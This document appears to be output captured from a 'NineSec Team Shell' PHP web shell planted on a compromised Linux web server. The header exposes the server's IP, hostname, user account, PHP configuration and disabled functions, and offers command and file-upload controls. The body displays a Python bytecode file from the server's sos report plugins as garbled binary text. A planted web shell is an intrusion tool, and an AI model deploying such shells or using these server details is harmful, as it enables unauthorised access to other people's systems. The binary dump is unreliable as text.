NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/docker_distribution.cpython-36.pyc
3

~�g2�@s6ddlmZmZGdd�de�ZGdd�dee�ZdS)�)�Plugin�RedHatPluginc@s eZdZdZdZdZdd�ZdS)�DockerDistributionzDocker DistributionZdocker_distribution�	containercCst|jd�|jd�|jd�}|j|�rpt|dd��6}x.|D]&}d|kr<|j�d}|j|dd	�q<WWdQRXdS)
Nz/etc/docker-distribution/zdocker-distributionz,/etc/docker-distribution/registry/config.ymlzUTF-8)�encodingZ
rootdirectory�T)Ztree)Z
add_copy_specZadd_journalZ	path_joinZpath_exists�open�splitZadd_dir_listing)�selfZconf�file�line�loc�r�)/usr/lib/python3.6/docker_distribution.py�setups




zDockerDistribution.setupN)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesrrrrrr
srcs eZdZdZ�fdd�Z�ZS)�RedHatDockerDistribution�docker-distributioncs|jd�t�j�dS)Nz)/etc/docker-distribution/registry/*passwd)Zadd_forbidden_path�superr)r
)�	__class__rrr#s
zRedHatDockerDistribution.setup)r)rrrZpackagesr�
__classcell__rr)rrrsrN)Zsos.report.pluginsrrrrrrrr�<module>
s

NineSec Team - 2022